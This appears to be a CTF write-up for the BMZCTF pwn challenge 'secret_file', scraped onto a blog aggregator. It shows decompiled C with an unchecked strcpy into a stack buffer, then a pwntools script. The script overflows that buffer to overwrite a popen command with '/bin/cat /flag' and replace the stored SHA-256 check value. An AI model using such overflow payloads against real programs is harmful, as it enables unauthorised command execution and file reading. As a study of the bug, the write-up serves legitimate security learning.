当前位置:网站首页>[BMZCTF-pwn] 20-secret_ file
[BMZCTF-pwn] 20-secret_ file
2022-07-03 04:30:00 【Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi Shi】
Problem of overflow in stack
After reading the program, it's over
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char *v3; // rax
unsigned __int8 *v4; // rbp
char *v5; // rbx
__int64 v6; // rcx
char *v7; // rdi
unsigned int v8; // er12
FILE *v9; // rbp
size_t v11; // [rsp+0h] [rbp-308h] BYREF
char *lineptr; // [rsp+8h] [rbp-300h] BYREF
char dest[256]; // [rsp+10h] [rbp-2F8h] BYREF Input plaintext to be encrypted
char v14[27]; // [rsp+110h] [rbp-1F8h] BYREF Initialize the put command
char v15[65]; // [rsp+12Bh] [rbp-1DDh] BYREF Initialize the put sha256 value
_QWORD v16[4]; // [rsp+16Ch] [rbp-19Ch] BYREF
char v17[64]; // [rsp+18Ch] [rbp-17Ch] BYREF Before user input 0x100 Encrypted sha256 value
int v18; // [rsp+1CCh] [rbp-13Ch] BYREF
char s[264]; // [rsp+1D0h] [rbp-138h] BYREF
unsigned __int64 v20; // [rsp+2D8h] [rbp-30h]
v20 = __readfsqword(0x28u);
sub_E60(dest); // md5 Values in v15
v11 = 0LL;
lineptr = 0LL;
if ( getline(&lineptr, &v11, stdin) == -1 )
return 1;
v3 = strrchr(lineptr, 10);
if ( !v3 )
return 1;
*v3 = 0;
v4 = (unsigned __int8 *)v16;
v5 = v17;
strcpy(dest, lineptr);
sub_DD0((__int64)dest, v16, 0x100u); // To the front 0x100 String encryption
do
{
v6 = *v4;
v7 = v5;
v5 += 2;
++v4;
snprintf(v7, 3uLL, "%02x", v6);
}
while ( v5 != (char *)&v18 );
v8 = strcmp(v15, v17);
if ( v8 )
{
puts("wrong password!");
return 1;
}
v9 = popen(v14, "r");
if ( !v9 )
return 1;
while ( fgets(s, 256, v9) )
printf("%s", s);
fclose(v9);
return v8;
}The program first combines a command with md5 Value in v14,v15 It's about . Then the user input value is put into desc It's about (v14 front ). Here, as long as you enter super long v14,v15 Cover can .
from pwn import *
p = process('./pwn')
elf = ELF('./pwn')
context(arch = 'amd64', log_level = 'debug') #
payload = b'A'*(256)+ b'/bin/cat /flag;'.ljust(27, b'#')+b'e075f2f51cad23d0537186cfcd50f911ea954f9c2e32a437f45327f1b7899bbb'
p.sendline(payload)
p.recv()
pause()
边栏推荐
- vulnhub HA: Natraj
- FISCO bcos zero knowledge proof Fiat Shamir instance source code
- BMZCTF simple_ pop
- [文献阅读] Sparsity in Deep Learning: Pruning and growth for efficient inference and training in NN
- Five elements of user experience
- AWS VPC
- [dynamic programming] subsequence problem
- 怎么用Kotlin去提高生产力:Kotlin Tips
- Priv-app permission异常
- FuncS sh file not found when using the benchmarksql tool to test kingbases
猜你喜欢

2022 registration examination for safety production management personnel of hazardous chemical production units and examination skills for safety production management personnel of hazardous chemical
![[NLP]—sparse neural network最新工作简述](/img/65/35ae0137f4030bdb2b0ab9acd85e16.png)
[NLP]—sparse neural network最新工作简述

会员积分商城系统的功能介绍

Competitive product analysis and writing

Which Bluetooth headset is good about 400? Four Bluetooth headsets with strong noise reduction are recommended

Know that Chuangyu cloud monitoring - scanv Max update: Ecology OA unauthorized server request forgery and other two vulnerabilities can be detected
![[文献阅读] Sparsity in Deep Learning: Pruning and growth for efficient inference and training in NN](/img/7e/50fa6f65b5a4f0bb60909f57daff56.png)
[文献阅读] Sparsity in Deep Learning: Pruning and growth for efficient inference and training in NN
![[Thesis Writing] how to write the overall design of JSP tourism network](/img/02/841e8870c2ef871c182b9bb8252a83.jpg)
[Thesis Writing] how to write the overall design of JSP tourism network

有道云笔记

Two points -leetcode-540 A single element in an ordered array
随机推荐
Web - Information Collection
MySQL field userid comma separated save by userid query
消息队列(MQ)介绍
[set theory] set concept and relationship (true subset | empty set | complete set | power set | number of set elements | power set steps)
[fairseq] 报错:TypeError: _broadcast_coalesced(): incompatible function arguments
Redraw and reflow
使用BENCHMARKSQL工具对KingbaseES执行测试时报错funcs sh file not found
使用BENCHMARKSQL工具对kingbaseES执行灌数据提示无法找到JDBC driver
重绘和回流
Joint search set: the number of points in connected blocks (the number of points in a set)
Kingbasees plug-in KDB of Jincang database_ date_ function
How to use kotlin to improve productivity: kotlin tips
Dive Into Deep Learning——2.1数据操作&&练习
Auman Galaxy new year of the tiger appreciation meeting was held in Beijing - won the double certification of "intelligent safety" and "efficient performance" of China Automotive Research Institute
Kubernetes source code analysis (I)
Busycal latest Chinese version
金仓KFS数据双向同步场景部署
Which Bluetooth headset is good about 400? Four Bluetooth headsets with strong noise reduction are recommended
FISCO bcos zero knowledge proof Fiat Shamir instance source code
JS multidimensional array to one-dimensional array